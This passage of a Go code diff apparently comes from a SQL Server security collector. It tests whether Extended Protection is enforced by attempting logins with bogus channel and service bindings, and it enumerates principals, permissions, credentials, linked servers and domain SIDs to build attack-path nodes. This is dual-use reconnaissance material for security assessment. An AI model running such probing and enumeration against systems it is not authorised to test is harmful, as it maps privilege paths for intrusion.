c.logVerbose(" Extended Protection: Required (channel binding)") + } else { + result.EPAStatus = "Allowed" + c.logVerbose(" Extended Protection: Allowed (channel binding)") + } + } else { + // Bogus CBT accepted - EPA is Off + result.NoCBTSuccess = true + result.EPAStatus = "Off" + c.logVerbose(" Extended Protection: Off") + } + + } else if encFlag == encryptOff || encFlag == encryptOn { + // Unencrypted/optional path: test service binding (matching Python lines 80-103) + c.logVerbose(" Conducting logins while manipulating target service av pair over unencrypted connection") + + // Test with bogus service + bogusResult, _, err := runEPATest(ctx, baseConfig(EPATestBogusService)) + if err != nil { + return nil, fmt.Errorf("EPA bogus service test failed: %w", err) + } + + if bogusResult.IsUntrustedDomain { + // Bogus service rejected - EPA is enforcing service binding + // Test with missing service to distinguish Allowed vs Required + missingResult, _, err := runEPATest(ctx, baseConfig(EPATestMissingService)) + if err != nil { + return nil, fmt.Errorf("EPA missing service test failed: %w", err) + } + + result.NoSBSuccess = missingResult.Success || missingResult.IsLoginFailed + if missingResult.IsUntrustedDomain { + result.EPAStatus = "Required" + c.logVerbose(" Extended Protection: Required (service binding)") + } else { + result.EPAStatus = "Allowed" + c.logVerbose(" Extended Protection: Allowed (service binding)") + } + } else { + // Bogus service accepted - EPA is Off + result.NoSBSuccess = true + result.EPAStatus = "Off" + c.logVerbose(" Extended Protection: Off") + } + } else { + result.EPAStatus = "Unknown" + c.logVerbose(" Extended Protection: Unknown (unsupported encryption flag 0x%02X)", encFlag) + } + + return result, nil +} + +// parseLDAPUser parses an LDAP user string in DOMAIN\user or user@domain format, +// returning the domain and username separately. If no domain is found in the user +// string, fallbackDomain is used. +func parseLDAPUser(ldapUser, fallbackDomain string) (domain, username string) { + if strings.Contains(ldapUser, "\\") { + parts := strings.SplitN(ldapUser, "\\", 2) + return parts[0], parts[1] + } + if strings.Contains(ldapUser, "@") { + parts := strings.SplitN(ldapUser, "@", 2) + return parts[1], parts[0] + } + return fallbackDomain, ldapUser +} + +// preloginResult holds the result of a PRELOGIN exchange +type preloginResult struct { + encryptionFlag byte + encryptionDesc string + forceEncryption bool +} + +// sendPrelogin sends a TDS PRELOGIN packet and parses the response +func (c *Client) sendPrelogin(ctx context.Context) (*preloginResult, error) { + // Resolve the actual port if using named instance + port := c.port + if port == 0 && c.instanceName != "" { + // Try to resolve via SQL Browser + resolvedPort, err := c.resolveInstancePort(ctx) + if err != nil { + return nil, fmt.Errorf("failed to resolve instance port: %w", err) + } + port = resolvedPort + } + if port == 0 { + port = 1433 // Default SQL Server port + } + + // Connect via TCP + addr := fmt.Sprintf("%s:%d", c.hostname, port) + dialer := &net.Dialer{Timeout: 10 * time.Second} + conn, err := dialer.DialContext(ctx, "tcp", addr) + if err != nil { + return nil, fmt.Errorf("TCP connection failed: %w", err) + } + defer conn.Close() + + // Set deadline + conn.SetDeadline(time.Now().Add(10 * time.Second)) + + // Build PRELOGIN packet + preloginPacket := buildPreloginPacket() + + // Wrap in TDS packet header + tdsPacket := buildTDSPacket(0x12, preloginPacket) // 0x12 = PRELOGIN + + // Send PRELOGIN + if _, err := conn.Write(tdsPacket); err != nil { + return nil, fmt.Errorf("failed to send PRELOGIN: %w", err) + } + + // Read response + response := make([]byte, 4096) + n, err := conn.Read(response) + if err != nil { + return nil, fmt.Errorf("failed to read PRELOGIN response: %w", err) + } + + // Parse response + return parsePreloginResponse(response[:n]) +} + +// buildPreloginPacket creates a TDS PRELOGIN packet payload +func buildPreloginPacket() []byte { + // PRELOGIN options (simplified): + // VERSION: 0x00 + // ENCRYPTION: 0x01 + // INSTOPT: 0x02 + // THREADID: 0x03 + // MARS: 0x04 + // TERMINATOR: 0xFF + + // We'll send VERSION and ENCRYPTION options + var packet []byte + + // Calculate offsets (header is 5 bytes per option + 1 terminator) + // VERSION option header (5 bytes) + ENCRYPTION option header (5 bytes) + TERMINATOR (1 byte) = 11 bytes + dataOffset := 11 + + // VERSION option header: token=0x00, offset, length=6 + packet = append(packet, 0x00) // TOKEN_VERSION + packet = append(packet, byte(dataOffset>>8), byte(dataOffset)) // Offset (big-endian) + packet = append(packet, 0x00, 0x06) // Length = 6 + + // ENCRYPTION option header: token=0x01, offset, length=1 + packet = append(packet, 0x01) // TOKEN_ENCRYPTION + packet = append(packet, byte((dataOffset+6)>>8), byte(dataOffset+6)) // Offset + packet = append(packet, 0x00, 0x01) // Length = 1 + + // TERMINATOR + packet = append(packet, 0xFF) + + // VERSION data (6 bytes): major, minor, build (2 bytes), sub-build (2 bytes) + // Use SQL Server 2019 version format + packet = append(packet, 0x0F, 0x00, 0x07, 0xD0, 0x00, 0x00) // 15.0.2000.0 + + // ENCRYPTION data (1 byte): 0x00 = ENCRYPT_OFF, 0x01 = ENCRYPT_ON, 0x02 = ENCRYPT_NOT_SUP, 0x03 = ENCRYPT_REQ + packet = append(packet, 0x00) // We don't require encryption for this test + + return packet +} + +// buildTDSPacket wraps payload in a TDS packet header +func buildTDSPacket(packetType byte, payload []byte) []byte { + packetLen := len(payload) + 8 // 8-byte TDS header + + header := []byte{ + packetType, // Type + 0x01, // Status (EOM) + byte(packetLen >> 8), // Length (big-endian) + byte(packetLen), + 0x00, 0x00, // SPID + 0x00, // PacketID + 0x00, // Window + } + + return append(header, payload...) +} + +// parsePreloginResponse parses a TDS PRELOGIN response +func parsePreloginResponse(data []byte) (*preloginResult, error) { + if len(data) < 8 { + return nil, fmt.Errorf("response too short") + } + + // Skip TDS header (8 bytes) + payload := data[8:] + + result := &preloginResult{} + + // Parse PRELOGIN options + offset := 0 + for offset < len(payload) { + if payload[offset] == 0xFF { + break // Terminator + } + + if offset+5 > len(payload) { + break + } + + token := payload[offset] + dataOffset := int(payload[offset+1])<<8 | int(payload[offset+2]) + dataLen := int(payload[offset+3])<<8 | int(payload[offset+4]) + + // Adjust dataOffset relative to payload start + dataOffset -= 8 // Account for TDS header that we stripped + + if token == 0x01 && dataLen >= 1 && dataOffset >= 0 && dataOffset < len(payload) { + // ENCRYPTION option + result.encryptionFlag = payload[dataOffset] + switch result.encryptionFlag { + case 0x00: + result.encryptionDesc = "ENCRYPT_OFF" + result.forceEncryption = false + case 0x01: + result.encryptionDesc = "ENCRYPT_ON" + result.forceEncryption = false + case 0x02: + result.encryptionDesc = "ENCRYPT_NOT_SUP" + result.forceEncryption = false + case 0x03: + result.encryptionDesc = "ENCRYPT_REQ" + result.forceEncryption = true + default: + result.encryptionDesc = fmt.Sprintf("UNKNOWN (0x%02X)", result.encryptionFlag) + } + } + + offset += 5 + } + + return result, nil +} + +// resolveInstancePort resolves the port for a named SQL Server instance using SQL Browser +func (c *Client) resolveInstancePort(ctx context.Context) (int, error) { + addr := fmt.Sprintf("%s:1434", c.hostname) // SQL Browser UDP port + + conn, err := net.DialTimeout("udp", addr, 5*time.Second) + if err != nil { + return 0, err + } + defer conn.Close() + + conn.SetDeadline(time.Now().Add(5 * time.Second)) + + // Send instance query: 0x04 + instance name + query := append([]byte{0x04}, []byte(c.instanceName)...) + if _, err := conn.Write(query); err != nil { + return 0, err + } + + // Read response + buf := make([]byte, 4096) + n, err := conn.Read(buf) + if err != nil { + return 0, err + } + + // Parse response - format: 0x05 + length (2 bytes) + data + // Data contains key=value pairs separated by semicolons + response := string(buf[3:n]) + parts := strings.Split(response, ";") + for i, part := range parts { + if strings.ToLower(part) == "tcp" && i+1 < len(parts) { + port, err := strconv.Atoi(parts[i+1]) + if err == nil { + return port, nil + } + } + } + + return 0, fmt.Errorf("port not found in SQL Browser response") +} + +// boolToYesNo converts a boolean to "Yes" or "No" +func boolToYesNo(b bool) string { + if b { + return "Yes" + } + return "No" +} + +// boolToSuccessFail converts a boolean to "success" or "failure" +func boolToSuccessFail(b bool) string { + if b { + return "success" + } + return "failure" +} + +// Close closes the database connection +func (c *Client) Close() error { + if c.db != nil { + return c.db.Close() + } + // PowerShell client doesn't need explicit cleanup + c.psClient = nil + c.usePowerShell = false + return nil +} + +// CollectServerInfo gathers all information about the SQL Server +func (c *Client) CollectServerInfo(ctx context.Context) (*types.ServerInfo, error) { + info := &types.ServerInfo{ + Hostname: c.hostname, + InstanceName: c.instanceName, + Port: c.port, + } + + // Get server properties + if err := c.collectServerProperties(ctx, info); err != nil { + return nil, fmt.Errorf("failed to collect server properties: %w", err) + } + + // Get computer SID for ObjectIdentifier (like PowerShell does) + if err := c.collectComputerSID(ctx, info); err != nil { + // Non-fatal - fall back to hostname-based identifier + fmt.Printf("Warning: failed to get computer SID, using hostname: %v\n", err) + info.ObjectIdentifier = fmt.Sprintf("%s:%d", strings.ToLower(info.ServerName), info.Port) + } else { + // Use SID-based ObjectIdentifier like PowerShell + info.ObjectIdentifier = fmt.Sprintf("%s:%d", info.ComputerSID, info.Port) + } + + // Set SQLServerName for display purposes (FQDN:Port format) + info.SQLServerName = fmt.Sprintf("%s:%d", info.FQDN, info.Port) + + // Collect authentication mode + if err := c.collectAuthenticationMode(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect auth mode: %v\n", err) + } + + // Collect encryption settings (Force Encryption, Extended Protection) + if err := c.collectEncryptionSettings(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect encryption settings: %v\n", err) + } + + // Get service accounts + c.logVerbose("Collecting service account information from %s", c.serverInstance) + if err := c.collectServiceAccounts(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect service accounts: %v\n", err) + } + + // Get server-level credentials + c.logVerbose("Enumerating credentials...") + if err := c.collectCredentials(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect credentials: %v\n", err) + } + + // Get proxy accounts + c.logVerbose("Enumerating SQL Agent proxy accounts...") + if err := c.collectProxyAccounts(ctx, info); err != nil { + fmt.Printf("Warning: failed to collect proxy accounts: %v\n", err) + } + + // Get server principals + c.logVerbose("Enumerating server principals...") + principals, err := c.collectServerPrincipals(ctx, info) + if err != nil { + return nil, fmt.Errorf("failed to collect server principals: %w", err) + } + info.ServerPrincipals = principals + c.logVerbose("Checking for inherited high-privilege permissions through role memberships") + + // Get credential mappings for logins + if err := c.collectLoginCredentialMappings(ctx, principals, info); err != nil { + fmt.Printf("Warning: failed to collect login credential mappings: %v\n", err) + } + + // Get databases + databases, err := c.collectDatabases(ctx, info) + if err != nil { + return nil, fmt.Errorf("failed to collect databases: %w", err) + } + + // Collect database-scoped credentials for each database + for i := range databases { + if err := c.collectDBScopedCredentials(ctx, &databases[i]); err != nil { + fmt.Printf("Warning: failed to collect DB-scoped credentials for %s: %v\n", databases[i].Name, err) + } + } + info.Databases = databases + + // Get linked servers + c.logVerbose("Enumerating linked servers...") + linkedServers, err := c.collectLinkedServers(ctx) + if err != nil { + // Non-fatal - just log and continue + fmt.Printf("Warning: failed to collect linked servers: %v\n", err) + } + info.LinkedServers = linkedServers + + // Print discovered linked servers + // Note: linkedServers may contain duplicates due to multiple login mappings per server + // Deduplicate by Name for display purposes + if len(linkedServers) > 0 { + // Build a map of unique linked servers by Name + uniqueServers := make(map[string]types.LinkedServer) + for _, ls := range linkedServers { + if _, exists := uniqueServers[ls.Name]; !exists { + uniqueServers[ls.Name] = ls + } + } + + fmt.Printf("Discovered %d linked server(s):\n", len(uniqueServers)) + + // Print in consistent order (sorted by name) + var serverNames []string + for name := range uniqueServers { + serverNames = append(serverNames, name) + } + sort.Strings(serverNames) + + for _, name := range serverNames { + ls := uniqueServers[name] + fmt.Printf(" %s -> %s\n", info.Hostname, ls.Name) + + // Show skip message immediately after each server (matching PowerShell behavior) + if !c.collectFromLinkedServers { + fmt.Printf(" Skipping linked server enumeration (use -CollectFromLinkedServers to enable collection)\n") + } + + // Show detailed info only in verbose mode + c.logVerbose(" Name: %s", ls.Name) + c.logVerbose(" DataSource: %s", ls.DataSource) + c.logVerbose(" Provider: %s", ls.Provider) + c.logVerbose(" Product: %s", ls.Product) + c.logVerbose(" IsRemoteLoginEnabled: %v", ls.IsRemoteLoginEnabled) + c.logVerbose(" IsRPCOutEnabled: %v", ls.IsRPCOutEnabled) + c.logVerbose(" IsDataAccessEnabled: %v", ls.IsDataAccessEnabled) + c.logVerbose(" IsSelfMapping: %v", ls.IsSelfMapping) + if ls.LocalLogin != "" { + c.logVerbose(" LocalLogin: %s", ls.LocalLogin) + } + if ls.RemoteLogin != "" { + c.logVerbose(" RemoteLogin: %s", ls.RemoteLogin) + } + if ls.Catalog != "" { + c.logVerbose(" Catalog: %s", ls.Catalog) + } + } + } else { + c.logVerbose("No linked servers found") + } + + c.logVerbose("Processing enabled domain principals with CONNECT SQL permission") + c.logVerbose("Creating server principal nodes") + c.logVerbose("Creating database principal nodes") + c.logVerbose("Creating linked server nodes") + c.logVerbose("Creating domain principal nodes") + + return info, nil +} + +// collectServerProperties gets basic server information +func (c *Client) collectServerProperties(ctx context.Context, info *types.ServerInfo) error { + query := ` + SELECT + SERVERPROPERTY('ServerName') AS ServerName, + SERVERPROPERTY('MachineName') AS MachineName, + SERVERPROPERTY('InstanceName') AS InstanceName, + SERVERPROPERTY('ProductVersion') AS ProductVersion, + SERVERPROPERTY('ProductLevel') AS ProductLevel, + SERVERPROPERTY('Edition') AS Edition, + SERVERPROPERTY('IsClustered') AS IsClustered, + @@VERSION AS FullVersion + ` + + row := c.DBW().QueryRowContext(ctx, query) + + var serverName, machineName, productVersion, productLevel, edition, fullVersion sql.NullString + var instanceName sql.NullString + var isClustered sql.NullInt64 + + err := row.Scan(&serverName, &machineName, &instanceName, &productVersion, + &productLevel, &edition, &isClustered, &fullVersion) + if err != nil { + return err + } + + info.ServerName = serverName.String + if info.Hostname == "" { + info.Hostname = machineName.String + } + if instanceName.Valid { + info.InstanceName = instanceName.String + } + info.VersionNumber = productVersion.String + info.ProductLevel = productLevel.String + info.Edition = edition.String + info.Version = fullVersion.String + info.IsClustered = isClustered.Int64 == 1 + + // Try to get FQDN + if fqdn, err := net.LookupAddr(info.Hostname); err == nil && len(fqdn) > 0 { + info.FQDN = strings.TrimSuffix(fqdn[0], ".") + } else { + info.FQDN = info.Hostname + } + + return nil +} + +// collectComputerSID gets the computer account's SID from Active Directory +// This is used to generate ObjectIdentifiers that match PowerShell's format +func (c *Client) collectComputerSID(ctx context.Context, info *types.ServerInfo) error { + // Method 1: Try to get the computer SID by querying for logins that match the computer account + // The computer account login will have a SID like S-1-5-21-xxx-xxx-xxx-xxx + query := ` + SELECT TOP 1 + CONVERT(VARCHAR(85), sid, 1) AS sid + FROM sys.server_principals + WHERE type_desc = 'WINDOWS_LOGIN' + AND name LIKE '%$' + AND name LIKE '%' + CAST(SERVERPROPERTY('MachineName') AS VARCHAR(128)) + '$' + ` + + var computerSID sql.NullString + err := c.DBW().QueryRowContext(ctx, query).Scan(&computerSID) + if err == nil && computerSID.Valid && computerSID.String != "" { + // Convert hex SID to string format + sidStr := convertHexSIDToString(computerSID.String) + if sidStr != "" { + info.ComputerSID = sidStr + c.logVerbose("Found computer SID from computer account login: %s", sidStr) + return nil + } + } + + // Method 2: Try to find any computer account login (ends with $) + query = ` + SELECT TOP 1 + CONVERT(VARCHAR(85), sid, 1) AS sid, + name + FROM sys.server_principals + WHERE type_desc = 'WINDOWS_LOGIN' + AND name LIKE '%$' + AND sid IS NOT NULL + AND LEN(CONVERT(VARCHAR(85), sid, 1)) > 10 + ORDER BY principal_id + ` + + var sid, name sql.NullString + err = c.DBW().QueryRowContext(ctx, query).Scan(&sid, &name) + if err == nil && sid.Valid && sid.String != "" { + sidStr := convertHexSIDToString(sid.String) + if sidStr != "" && strings.HasPrefix(sidStr, "S-1-5-21-") { + // This is a domain computer account - extract domain SID and try to construct our computer SID + sidParts := strings.Split(sidStr, "-") + if len(sidParts) >= 8 { + // Domain SID is S-1-5-21-X-Y-Z (first 7 parts) + info.DomainSID = strings.Join(sidParts[:7], "-") + c.logVerbose("Found domain SID from computer account: %s", info.DomainSID) + } + } + } + + // Method 3: Extract domain SID from any Windows login/group and use LDAP later for computer SID + if info.DomainSID == "" { + query = ` + SELECT TOP 1 + CONVERT(VARCHAR(85), sid, 1) AS sid, + name + FROM sys.server_principals + WHERE type_desc IN ('WINDOWS_LOGIN', 'WINDOWS_GROUP') + AND sid IS NOT NULL + AND LEN(CONVERT(VARCHAR(85), sid, 1)) > 10 + ORDER BY principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err == nil { + defer rows.Close() + for rows.Next() { + var sid, name sql.NullString + if err := rows.Scan(&sid, &name); err != nil { + continue + } + + if sid.Valid && sid.String != "" { + sidStr := convertHexSIDToString(sid.String) + if sidStr == "" || !strings.HasPrefix(sidStr, "S-1-5-21-") { + continue + } + + // If it's a computer account (ends with $), use its SID directly + if strings.HasSuffix(name.String, "$") { + info.ComputerSID = sidStr + c.logVerbose("Found computer SID from alternate computer login: %s", sidStr) + return nil + } + + // Extract domain SID from this principal + sidParts := strings.Split(sidStr, "-") + if len(sidParts) >= 8 { + info.DomainSID = strings.Join(sidParts[:7], "-") + c.logVerbose("Found domain SID from Windows principal %s: %s", name.String, info.DomainSID) + break + } + } + } + } + } + + // If we have a domain SID, the collector will try to resolve the computer SID via LDAP + // For now, return an error so the caller knows to try LDAP resolution + if info.ComputerSID == "" { + if info.DomainSID != "" { + return fmt.Errorf("could not determine computer SID from SQL Server, will try LDAP (domain SID: %s)", info.DomainSID) + } + return fmt.Errorf("could not determine computer SID") + } + + return nil +} + +// collectServerPrincipals gets all server-level principals (logins and server roles) +func (c *Client) collectServerPrincipals(ctx context.Context, serverInfo *types.ServerInfo) ([]types.ServerPrincipal, error) { + query := ` + SELECT + p.principal_id, + p.name, + p.type_desc, + p.is_disabled, + p.is_fixed_role, + p.create_date, + p.modify_date, + p.default_database_name, + CONVERT(VARCHAR(85), p.sid, 1) AS sid, + p.owning_principal_id + FROM sys.server_principals p + WHERE p.type IN ('S', 'U', 'G', 'R', 'C', 'K') + ORDER BY p.principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var principals []types.ServerPrincipal + + for rows.Next() { + var p types.ServerPrincipal + var defaultDB, sid sql.NullString + var owningPrincipalID sql.NullInt64 + var isDisabled, isFixedRole sql.NullBool + + err := rows.Scan( + &p.PrincipalID, + &p.Name, + &p.TypeDescription, + &isDisabled, + &isFixedRole, + &p.CreateDate, + &p.ModifyDate, + &defaultDB, + &sid, + &owningPrincipalID, + ) + if err != nil { + return nil, err + } + + p.IsDisabled = isDisabled.Bool + p.IsFixedRole = isFixedRole.Bool + p.DefaultDatabaseName = defaultDB.String + // Convert hex SID to standard S-1-5-21-... format + p.SecurityIdentifier = convertHexSIDToString(sid.String) + p.SQLServerName = serverInfo.SQLServerName + + if owningPrincipalID.Valid { + p.OwningPrincipalID = int(owningPrincipalID.Int64) + } + + // Determine if this is an AD principal + // Match PowerShell logic: must be WINDOWS_LOGIN or WINDOWS_GROUP, and name must contain backslash + // but NOT be NT SERVICE\*, NT AUTHORITY\*, BUILTIN\*, or MACHINENAME\* + isWindowsType := p.TypeDescription == "WINDOWS_LOGIN" || p.TypeDescription == "WINDOWS_GROUP" + hasBackslash := strings.Contains(p.Name, "\\") + isNTService := strings.HasPrefix(strings.ToUpper(p.Name), "NT SERVICE\\") + isNTAuthority := strings.HasPrefix(strings.ToUpper(p.Name), "NT AUTHORITY\\") + isBuiltin := strings.HasPrefix(strings.ToUpper(p.Name), "BUILTIN\\") + // Check if it's a local machine account (MACHINENAME\*) + machinePrefix := strings.ToUpper(serverInfo.Hostname) + "\\" + if strings.Contains(serverInfo.Hostname, ".") { + // Extract just the machine name from FQDN + machinePrefix = strings.ToUpper(strings.Split(serverInfo.Hostname, ".")[0]) + "\\" + } + isLocalMachine := strings.HasPrefix(strings.ToUpper(p.Name), machinePrefix) + + p.IsActiveDirectoryPrincipal = isWindowsType && hasBackslash && + !isNTService && !isNTAuthority && !isBuiltin && !isLocalMachine + + // Generate object identifier: Name@ServerObjectIdentifier + p.ObjectIdentifier = fmt.Sprintf("%s@%s", p.Name, serverInfo.ObjectIdentifier) + + principals = append(principals, p) + } + + // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID + principalMap := make(map[int]*types.ServerPrincipal) + for i := range principals { + principalMap[principals[i].PrincipalID] = &principals[i] + } + for i := range principals { + if principals[i].OwningPrincipalID > 0 { + if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok { + principals[i].OwningObjectIdentifier = owner.ObjectIdentifier + } + } + } + + // Get role memberships for each principal + if err := c.collectServerRoleMemberships(ctx, principals, serverInfo); err != nil { + return nil, err + } + + // Get permissions for each principal + if err := c.collectServerPermissions(ctx, principals, serverInfo); err != nil { + return nil, err + } + + return principals, nil +} + +// collectServerRoleMemberships gets role memberships for server principals +func (c *Client) collectServerRoleMemberships(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error { + query := ` + SELECT + rm.member_principal_id, + rm.role_principal_id, + r.name AS role_name + FROM sys.server_role_members rm + JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + ORDER BY rm.member_principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build a map of principal ID to index for quick lookup + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var memberID, roleID int + var roleName string + + if err := rows.Scan(&memberID, &roleID, &roleName); err != nil { + return err + } + + if idx, ok := principalMap[memberID]; ok { + membership := types.RoleMembership{ + ObjectIdentifier: fmt.Sprintf("%s@%s", roleName, serverInfo.ObjectIdentifier), + Name: roleName, + PrincipalID: roleID, + } + principals[idx].MemberOf = append(principals[idx].MemberOf, membership) + } + + // Also track members for role principals + if idx, ok := principalMap[roleID]; ok { + memberName := "" + if memberIdx, ok := principalMap[memberID]; ok { + memberName = principals[memberIdx].Name + } + principals[idx].Members = append(principals[idx].Members, memberName) + } + } + + // Add implicit public role membership for all logins + // SQL Server has implicit membership in public role for all logins + publicRoleOID := fmt.Sprintf("public@%s", serverInfo.ObjectIdentifier) + for i := range principals { + // Only add for login types, not for roles + if principals[i].TypeDescription != "SERVER_ROLE" { + // Check if already a member of public + hasPublic := false + for _, m := range principals[i].MemberOf { + if m.Name == "public" { + hasPublic = true + break + } + } + if !hasPublic { + membership := types.RoleMembership{ + ObjectIdentifier: publicRoleOID, + Name: "public", + PrincipalID: 2, // public role always has principal_id = 2 at server level + } + principals[i].MemberOf = append(principals[i].MemberOf, membership) + } + } + } + + return nil +} + +// collectServerPermissions gets explicit permissions for server principals +func (c *Client) collectServerPermissions(ctx context.Context, principals []types.ServerPrincipal, serverInfo *types.ServerInfo) error { + query := ` + SELECT + p.grantee_principal_id, + p.permission_name, + p.state_desc, + p.class_desc, + p.major_id, + COALESCE(pr.name, '') AS grantor_name + FROM sys.server_permissions p + LEFT JOIN sys.server_principals pr ON p.major_id = pr.principal_id AND p.class_desc = 'SERVER_PRINCIPAL' + WHERE p.state_desc IN ('GRANT', 'GRANT_WITH_GRANT_OPTION', 'DENY') + ORDER BY p.grantee_principal_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return err + } + defer rows.Close() + + // Build a map of principal ID to index + principalMap := make(map[int]int) + for i, p := range principals { + principalMap[p.PrincipalID] = i + } + + for rows.Next() { + var granteeID, majorID int + var permName, stateDesc, classDesc, grantorName string + + if err := rows.Scan(&granteeID, &permName, &stateDesc, &classDesc, &majorID, &grantorName); err != nil { + return err + } + + if idx, ok := principalMap[granteeID]; ok { + perm := types.Permission{ + Permission: permName, + State: stateDesc, + ClassDesc: classDesc, + } + + // If permission is on a principal, set target info + if classDesc == "SERVER_PRINCIPAL" && majorID > 0 { + perm.TargetPrincipalID = majorID + perm.TargetName = grantorName + if targetIdx, ok := principalMap[majorID]; ok { + perm.TargetObjectIdentifier = principals[targetIdx].ObjectIdentifier + } + } + + principals[idx].Permissions = append(principals[idx].Permissions, perm) + } + } + + // Add predefined permissions for fixed server roles that aren't handled by createFixedRoleEdges + // These are implicit permissions that aren't stored in sys.server_permissions + // NOTE: sysadmin and securityadmin permissions are NOT added here because + // createFixedRoleEdges already handles edge creation for those roles by name + fixedServerRolePermissions := map[string][]string{ + // sysadmin - handled by createFixedRoleEdges, don't add CONTROL SERVER here + // securityadmin - handled by createFixedRoleEdges, don't add ALTER ANY LOGIN here + "##MS_LoginManager##": {"ALTER ANY LOGIN"}, + "##MS_DatabaseConnector##": {"CONNECT ANY DATABASE"}, + } + + for i := range principals { + if principals[i].IsFixedRole { + if perms, ok := fixedServerRolePermissions[principals[i].Name]; ok { + for _, permName := range perms { + // Check if permission already exists (skip duplicates) + exists := false + for _, existingPerm := range principals[i].Permissions { + if existingPerm.Permission == permName { + exists = true + break + } + } + if !exists { + perm := types.Permission{ + Permission: permName, + State: "GRANT", + ClassDesc: "SERVER", + } + principals[i].Permissions = append(principals[i].Permissions, perm) + } + } + } + } + } + + return nil +} + +// collectDatabases gets all accessible databases and their principals +func (c *Client) collectDatabases(ctx context.Context, serverInfo *types.ServerInfo) ([]types.Database, error) { + query := ` + SELECT + d.database_id, + d.name, + d.owner_sid, + SUSER_SNAME(d.owner_sid) AS owner_name, + d.create_date, + d.compatibility_level, + d.collation_name, + d.is_read_only, + d.is_trustworthy_on, + d.is_encrypted + FROM sys.databases d + WHERE d.state = 0 -- ONLINE + ORDER BY d.database_id + ` + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var databases []types.Database + + for rows.Next() { + var db types.Database + var ownerSID []byte + var ownerName, collation sql.NullString + + err := rows.Scan( + &db.DatabaseID, + &db.Name, + &ownerSID, + &ownerName, + &db.CreateDate, + &db.CompatibilityLevel, + &collation, + &db.IsReadOnly, + &db.IsTrustworthy, + &db.IsEncrypted, + ) + if err != nil { + return nil, err + } + + db.OwnerLoginName = ownerName.String + db.CollationName = collation.String + db.SQLServerName = serverInfo.SQLServerName + // Database ObjectIdentifier format: ServerObjectIdentifier\DatabaseName (like PowerShell) + db.ObjectIdentifier = fmt.Sprintf("%s\\%s", serverInfo.ObjectIdentifier, db.Name) + + // Find owner principal ID + for _, p := range serverInfo.ServerPrincipals { + if p.Name == db.OwnerLoginName { + db.OwnerPrincipalID = p.PrincipalID + db.OwnerObjectIdentifier = p.ObjectIdentifier + break + } + } + + databases = append(databases, db) + } + + // Collect principals for each database + // Only keep databases where we successfully collected principals (matching PowerShell behavior) + var successfulDatabases []types.Database + for i := range databases { + c.logVerbose("Processing database: %s", databases[i].Name) + principals, err := c.collectDatabasePrincipals(ctx, &databases[i], serverInfo) + if err != nil { + fmt.Printf("Warning: failed to collect principals for database %s: %v\n", databases[i].Name, err) + // PowerShell doesn't add databases where it can't access principals, + // so we skip them here to match that behavior + continue + } + databases[i].DatabasePrincipals = principals + successfulDatabases = append(successfulDatabases, databases[i]) + } + + return successfulDatabases, nil +} + +// collectDatabasePrincipals gets all principals in a specific database +func (c *Client) collectDatabasePrincipals(ctx context.Context, db *types.Database, serverInfo *types.ServerInfo) ([]types.DatabasePrincipal, error) { + // Query all principals using fully-qualified table name + // The USE statement doesn't always work properly with go-mssqldb + query := fmt.Sprintf(` + SELECT + p.principal_id, + p.name, + p.type_desc, + ISNULL(p.create_date, '1900-01-01') as create_date, + ISNULL(p.modify_date, '1900-01-01') as modify_date, + ISNULL(p.is_fixed_role, 0) as is_fixed_role, + p.owning_principal_id, + p.default_schema_name, + p.sid + FROM [%s].sys.database_principals p + ORDER BY p.principal_id + `, db.Name) + + rows, err := c.DBW().QueryContext(ctx, query) + if err != nil { + return nil, err + } + defer rows.Close() + + var principals []types.DatabasePrincipal + for rows.Next() { + var p types.DatabasePrincipal + var owningPrincipalID sql.NullInt64 + var defaultSchema sql.NullString + var sid []byte + var isFixedRole sql.NullBool + + err := rows.Scan( + &p.PrincipalID, + &p.Name, + &p.TypeDescription, + &p.CreateDate, + &p.ModifyDate, + &isFixedRole, + &owningPrincipalID, + &defaultSchema, + &sid, + ) + if err != nil { + return nil, err + } + + p.IsFixedRole = isFixedRole.Bool + p.DefaultSchemaName = defaultSchema.String + p.DatabaseName = db.Name + p.SQLServerName = serverInfo.SQLServerName + + if owningPrincipalID.Valid { + p.OwningPrincipalID = int(owningPrincipalID.Int64) + } + + // Generate object identifier: Name@ServerObjectIdentifier\DatabaseName (like PowerShell) + p.ObjectIdentifier = fmt.Sprintf("%s@%s\\%s", p.Name, serverInfo.ObjectIdentifier, db.Name) + + principals = append(principals, p) + } + + // Link database users to server logins using SQL join (like PowerShell does) + // This is more accurate than name/SID matching + if err := c.linkDatabaseUsersToServerLogins(ctx, principals, db, serverInfo); err != nil { + // Non-fatal - continue without login mapping + fmt.Printf("Warning: failed to link database users to server logins for %s: %v\n", db.Name, err) + } + + // Resolve ownership - set OwningObjectIdentifier based on OwningPrincipalID + principalMap := make(map[int]*types.DatabasePrincipal) + for i := range principals { + principalMap[principals[i].PrincipalID] = &principals[i] + } + for i := range principals { + if principals[i].OwningPrincipalID > 0 { + if owner, ok := principalMap[principals[i].OwningPrincipalID]; ok { + principals[i].OwningObjectIdentifier = owner.ObjectIdentifier + } + } + } + + // Get role memberships + if err := c.collectDatabaseRoleMemberships(ctx, principals, db, serverInfo); err != nil { + return nil, err + } + + // Get permissions + if err := c.collectDatabasePermissions(ctx, principals, db, serverInfo); err != nil { + return nil, err + } + + return principals, nil +} + +// linkDatabaseUsersToServerLogins links database users to their server logins using SID join +// This is the same approach PowerShell uses and is more accurate than name matching +func (c *Client) linkDatabaseUsersToServerLogins(ctx context.Context, principals []types.DatabasePrincipal, db *types.Database, serverInfo *types.ServerInfo) error { + // Build a map of server logins by principal_id for quick lookup + serverLoginMap := make(map[int]*types.ServerPrincipal) + for i := range serverInfo.ServerPrincipals { + 